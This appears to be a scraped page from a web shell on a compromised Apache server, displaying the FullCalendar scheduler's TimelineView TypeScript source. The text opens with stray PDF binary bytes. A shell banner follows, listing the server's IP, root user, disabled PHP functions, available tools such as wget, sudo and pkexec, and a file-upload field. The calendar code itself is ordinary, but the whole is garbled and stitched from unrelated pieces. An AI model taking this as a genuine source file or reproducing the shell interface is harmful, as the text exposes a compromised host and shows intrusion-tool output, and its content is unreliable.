%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.149 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/11584/cwd/html/ppaobm/vendor/bower-asset/fullcalendar-scheduler/src/timeline/ |
Upload File : |
import { Hit, View, ViewProps, ComponentContext, ViewSpec, DateProfileGenerator, DateProfile } from '@fullcalendar/core' import TimeAxis from './TimeAxis' import TimelineLane from './TimelineLane' export default class TimelineView extends View { // child components timeAxis: TimeAxis lane: TimelineLane constructor(context: ComponentContext, viewSpec: ViewSpec, dateProfileGenerator: DateProfileGenerator, parentEl: HTMLElement) { super(context, viewSpec, dateProfileGenerator, parentEl) this.el.classList.add('fc-timeline') if (this.opt('eventOverlap') === false) { this.el.classList.add('fc-no-overlap') } this.el.innerHTML = this.renderSkeletonHtml() this.timeAxis = new TimeAxis( this.context, this.el.querySelector('thead .fc-time-area'), this.el.querySelector('tbody .fc-time-area') ) this.lane = new TimelineLane( this.context, this.timeAxis.layout.bodyScroller.enhancedScroll.canvas.contentEl, this.timeAxis.layout.bodyScroller.enhancedScroll.canvas.bgEl, this.timeAxis ) context.calendar.registerInteractiveComponent(this, { el: this.timeAxis.slats.el }) } destroy() { this.timeAxis.destroy() this.lane.destroy() super.destroy() this.calendar.unregisterInteractiveComponent(this) } renderSkeletonHtml() { let { theme } = this return `<table class="` + theme.getClass('tableGrid') + `"> \ <thead class="fc-head"> \ <tr> \ <td class="fc-time-area ` + theme.getClass('widgetHeader') + `"></td> \ </tr> \ </thead> \ <tbody class="fc-body"> \ <tr> \ <td class="fc-time-area ` + theme.getClass('widgetContent') + `"></td> \ </tr> \ </tbody> \ </table>` } render(props: ViewProps) { super.render(props) // flags for updateSize, addScroll this.timeAxis.receiveProps({ dateProfile: props.dateProfile }) this.lane.receiveProps({ ...props, nextDayThreshold: this.nextDayThreshold }) } updateSize(isResize, totalHeight, isAuto) { this.timeAxis.updateSize(isResize, totalHeight, isAuto) this.lane.updateSize(isResize) } // Now Indicator // ------------------------------------------------------------------------------------------ getNowIndicatorUnit(dateProfile: DateProfile) { return this.timeAxis.getNowIndicatorUnit(dateProfile) } renderNowIndicator(date) { this.timeAxis.renderNowIndicator(date) } unrenderNowIndicator() { this.timeAxis.unrenderNowIndicator() } // Scroll System // ------------------------------------------------------------------------------------------ computeDateScroll(timeMs: number) { return this.timeAxis.computeDateScroll(timeMs) } applyScroll(scroll, isResize) { super.applyScroll(scroll, isResize) // will call applyDateScroll // avoid updating stickyscroll too often // TODO: repeat code as ResourceTimelineView::updateSize let { calendar } = this if (isResize || calendar.isViewUpdated || calendar.isDatesUpdated || calendar.isEventsUpdated) { this.timeAxis.updateStickyScrollers() } } applyDateScroll(scroll) { this.timeAxis.applyDateScroll(scroll) } queryScroll() { let { enhancedScroll } = this.timeAxis.layout.bodyScroller return { top: enhancedScroll.getScrollTop(), left: enhancedScroll.getScrollLeft() } } // Hit System // ------------------------------------------------------------------------------------------ buildPositionCaches() { this.timeAxis.slats.updateSize() } queryHit(positionLeft: number, positionTop: number, elWidth: number, elHeight: number): Hit { let slatHit = this.timeAxis.slats.positionToHit(positionLeft) if (slatHit) { return { component: this, dateSpan: slatHit.dateSpan, rect: { left: slatHit.left, right: slatHit.right, top: 0, bottom: elHeight }, dayEl: slatHit.dayEl, layer: 0 } } } }